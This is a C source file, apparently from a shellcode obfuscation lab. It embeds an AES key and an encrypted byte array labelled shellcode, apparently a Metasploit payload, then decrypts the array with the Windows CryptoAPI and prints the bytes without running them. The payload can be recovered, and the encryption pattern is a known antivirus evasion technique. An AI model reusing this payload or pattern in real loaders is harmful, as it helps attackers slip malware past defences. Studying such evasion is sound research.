dobin-ShellcodeObfuscationLab/lab_results/metasploit/aes_work.c

#include <windows.h>
#include <stdio.h>
#include <wincrypt.h>
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")

// compile: cl.exe /nologo /Tcaes.c /link /out:aes.exe /SUBSYSTEM:CONSOLE /MACHINE:x64

int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
    HCRYPTPROV hProv;
    HCRYPTHASH hHash;
    HCRYPTKEY hKey;

    if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
            return -1;
    }
    if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
            return -1;
    }
    if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
            return -1;              
    }
    if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
            return -1;
    }
    
    if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
            return -1;
    }
    
    CryptReleaseContext(hProv, 0);
    CryptDestroyHash(hHash);
    CryptDestroyKey(hKey);
	
    return 0;
}

int main(void)
{
	

	char AESkey[] = { 0x44, 0xf0, 0xe3, 0x82, 0x9, 0x1c, 0x9f, 0xfa, 0x67, 0x1d, 0xea, 0xca, 0x90, 0xc5, 0x18, 0x52 };

char shellcode[] = { 0x24, 0xbd, 0x3a, 0x32, 0xfe, 0xda, 0xfc, 0x89, 0xad, 0x45, 0x5f, 0xc1, 0xdb, 0x36, 0x61, 0xf6, 0x36, 0xe, 0x2a, 0xb3, 0xbe, 0xe2, 0x44, 0x7b, 0xd7, 0xf1, 0xc4, 0x9f, 0x66, 0x42, 0x14, 0x6f, 0x2c, 0xe0, 0x5c, 0xca, 0xec, 0xeb, 0x0, 0xf7, 0x2b, 0x3a, 0x60, 0xb5, 0x11, 0x19, 0xb5, 0x42, 0x49, 0xc, 0x57, 0x40, 0x9f, 0x1a, 0xde, 0x6a, 0xb, 0x0, 0xf1, 0xfe, 0x17, 0xc1, 0xb3, 0x1d, 0x3, 0x42, 0xbd, 0xca, 0x5c, 0xdf, 0xf1, 0xb5, 0x19, 0x5c, 0x71, 0x36, 0xf8, 0xc8, 0x7d, 0x2f, 0xb1, 0xca, 0xc, 0x9d, 0x23, 0xd2, 0xc4, 0x7d, 0xd5, 0xd7, 0xd9, 0x74, 0x37, 0x8b, 0x13, 0x43, 0x8c, 0xbd, 0x9a, 0xc2, 0xa7, 0xc4, 0xbc, 0x4e, 0xe, 0xbc, 0xe0, 0xc4, 0x25, 0x49, 0x9c, 0x45, 0xf, 0x1, 0x9f, 0xce, 0xa5, 0x18, 0x9e, 0x13, 0xb6, 0x1d, 0x1, 0xda, 0x60, 0x12, 0x2b, 0xeb, 0x4a, 0xa4, 0xd4, 0x3c, 0xea, 0xff, 0x6f, 0x96, 0x9f, 0x15, 0x4e, 0xef, 0x40, 0xfa, 0xb6, 0x9c, 0x9b, 0xd6, 0x3d, 0x45, 0xfe, 0xa0, 0xc, 0xb4, 0x57, 0xda, 0xd5, 0x9b, 0xb3, 0xf2, 0xf1, 0xaf, 0x98, 0x52, 0x80, 0xb1, 0x59, 0x2a, 0x9b, 0xfe, 0x6a, 0x60, 0xe6, 0x8d, 0x98, 0xdd, 0x65, 0xa3, 0x5, 0x73, 0x6e, 0xbc, 0x3f, 0x1f, 0xa1, 0x70, 0x41, 0x9e, 0x55, 0x2e, 0x39, 0x8e, 0xd5, 0xc6, 0xb6, 0x4, 0x35, 0x3e, 0xaf, 0x67, 0x55, 0xce, 0xbc, 0x79, 0xe4, 0xf3, 0x8d, 0xe5, 0xe8, 0x5e, 0xd0, 0x94, 0xd1, 0x23, 0x4f, 0xf6, 0x61, 0x84, 0x46, 0xfe, 0xf, 0xe5, 0xc7, 0xf4, 0xac, 0x90, 0x82, 0x54, 0x5b, 0x44, 0x8c, 0x99, 0xc1, 0xd3, 0x56, 0x22, 0xd0, 0x90, 0xb9, 0x4e, 0xe2, 0x55, 0x39, 0xe5, 0xab, 0x93, 0xc2, 0xc0, 0xaa, 0x76, 0x7d, 0xc5, 0xf0, 0x7f, 0x9c, 0xcc, 0x57, 0x84, 0x9c, 0x72, 0x8b, 0xec, 0x5e, 0x8b, 0x3d, 0x35, 0x96, 0xf0, 0xb, 0xb2, 0x68, 0x79, 0x5b, 0xd0, 0x96, 0x16, 0x39, 0xd2, 0xd1, 0xeb, 0xc7, 0x44, 0x5f, 0x9c, 0xd1, 0xac, 0xce, 0x59, 0x9b, 0x2b, 0x13, 0x22, 0x88, 0x73, 0x78, 0x9c, 0xb1, 0xaf, 0x61, 0xb3, 0xbb, 0x89, 0xbc, 0xeb, 0xb9, 0xa3, 0x7f, 0xa, 0x46, 0xa0, 0x25, 0xa3, 0x9b, 0xc5, 0xa6, 0x40, 0x5b, 0xb7, 0x9f, 0x7c, 0xfa, 0xd1, 0xd6, 0x7d, 0xe0, 0x0, 0xfb, 0x4a, 0x99, 0xf7, 0x3b, 0xf3, 0x2, 0x60, 0x7d, 0xdf, 0x42, 0xc1, 0x93, 0x68, 0x71, 0x1, 0x20, 0x46, 0x80, 0x2b, 0x74, 0x80, 0xbd, 0x97, 0x8d, 0x86, 0xf8, 0x73, 0x12, 0x91, 0x95, 0xc8, 0x3a, 0xe9, 0xeb, 0x33, 0x8e, 0x55, 0xba, 0x78, 0x65, 0xda, 0x43, 0x1a, 0x8c, 0x8a, 0xc7, 0x37, 0xc6, 0x9d, 0xb9, 0xdd, 0xff, 0x13, 0x1, 0xe, 0x64, 0xa5, 0xc1, 0xa8, 0x57, 0x2, 0x2f, 0x4c, 0x50, 0x34, 0x7e, 0x98, 0x45, 0x2e, 0x9a, 0x88, 0x2e, 0xe6, 0xe, 0xd7, 0x26, 0x92, 0x4e, 0x8f, 0xb, 0x9, 0x12, 0x81, 0xd4, 0x70, 0x23, 0xb0, 0x2c, 0x84, 0xc6, 0xd8, 0xdd, 0xe5, 0xb3, 0xd8, 0x66, 0xf5, 0x76, 0x1a, 0x72, 0x3a, 0x77, 0x24, 0x64, 0x6e, 0xa0, 0x91, 0x36, 0x56, 0xad, 0xb7, 0xfa, 0x49, 0xe8, 0xf1, 0x53, 0xb7, 0x6b, 0xfb, 0xdd, 0x7, 0x6b, 0xb4, 0x5d, 0x63, 0x44, 0x71, 0x97, 0xd3, 0xf2, 0x36, 0xf1, 0x45, 0x72, 0x9e, 0x9d, 0xb6, 0xa1, 0xec, 0x9b, 0x7d, 0x39, 0xa0, 0x95, 0x28, 0xf7, 0x60, 0xc5, 0x25, 0x35, 0x56, 0x46, 0xe9, 0x42, 0xda, 0xdb, 0xa, 0xa7, 0x82, 0x18, 0x85, 0x94, 0x73, 0x8e, 0xd8, 0x49, 0xc, 0x5d, 0x3c, 0x39, 0x1, 0x70, 0x92, 0xd4, 0x3e, 0xcc, 0xea, 0x9, 0x32, 0x75, 0x7a, 0x28, 0x89, 0x9f, 0xad, 0x84, 0x3, 0xdd, 0xde, 0x3a, 0x84, 0x86, 0x2, 0xb2, 0x72, 0xe2, 0x16, 0xde, 0x81, 0x9b, 0x80, 0xe5, 0x7f, 0xc1, 0xf4, 0x84, 0x1e, 0x29, 0x18, 0xe3, 0xed, 0x44, 0x31, 0xc1, 0x2c, 0xc6, 0x19, 0xfa, 0x56, 0x15, 0xc8, 0xbe, 0x12, 0x6a, 0xc4, 0x63, 0x71, 0xc1, 0x7a, 0x59, 0x5c, 0x79, 0x91, 0xdd, 0x16, 0x2d, 0x21, 0x46, 0xd2, 0xed, 0x25, 0x81, 0x8b, 0xb5, 0x72, 0xd1, 0xa0, 0xde, 0x68, 0x1a, 0x60, 0xbf, 0x36, 0x74, 0xf2, 0x1e, 0xfc, 0xdf, 0x4c, 0x23, 0x66, 0xcd, 0x5d, 0xef, 0xf8, 0x2f, 0x85, 0xee, 0xc7, 0x8c, 0xc7, 0x63, 0xc7, 0x9c, 0x1a, 0x58, 0xa0, 0x84, 0x4f, 0xda, 0x5c, 0xd1, 0xd0, 0xf1, 0x88, 0xf9, 0x81, 0xd8, 0x5f, 0xdd, 0xe2, 0x18, 0x69, 0x79, 0xe1, 0xc, 0x5f, 0x80, 0xf8, 0xfa, 0x66, 0xa7, 0x54, 0x7a, 0xff, 0x61, 0x67, 0x98, 0xc7, 0xa7, 0x1e, 0x54, 0xe2, 0xe6, 0xb9, 0xbb, 0xd3, 0x7e, 0x94, 0x99, 0x82, 0x45, 0xb0, 0x49, 0x85, 0x43, 0x65, 0x10, 0xde, 0x5f, 0x1d, 0xb, 0xc3, 0x91, 0xbf, 0x9d, 0xcc, 0x7, 0x67, 0xbb, 0x4a, 0xd0, 0xcd, 0x11, 0x9d, 0xa7, 0xfd, 0x67, 0xea, 0x51, 0x81, 0x7e, 0x92, 0xf4, 0x7, 0x3f, 0xc0, 0xc8, 0x43, 0xbe, 0x5f, 0x2f, 0x77, 0x56, 0x20, 0x48, 0xd4, 0x1d, 0xa0, 0x8a, 0x7, 0xf1, 0xf6, 0x8b, 0x94, 0x55, 0xca, 0xd6, 0xe6, 0x8d, 0xca, 0xae, 0x6a, 0xad, 0x26, 0xe5, 0x70, 0xf3, 0xb8, 0x89, 0x46, 0x19, 0x41, 0x71, 0x73 };

	AESDecrypt((char *) shellcode, sizeof(shellcode), AESkey, sizeof(AESkey));

	int idx = 0;
	while ( idx < sizeof(shellcode))
	{
		if (idx == (sizeof(shellcode) - 1) )
		{
			printf("0x%02x ", (unsigned char)shellcode[idx]);
		}
		else
		{
			printf("0x%02x, ", (unsigned char)shellcode[idx]);
		}
		idx++;
	}
	
	return 0;
}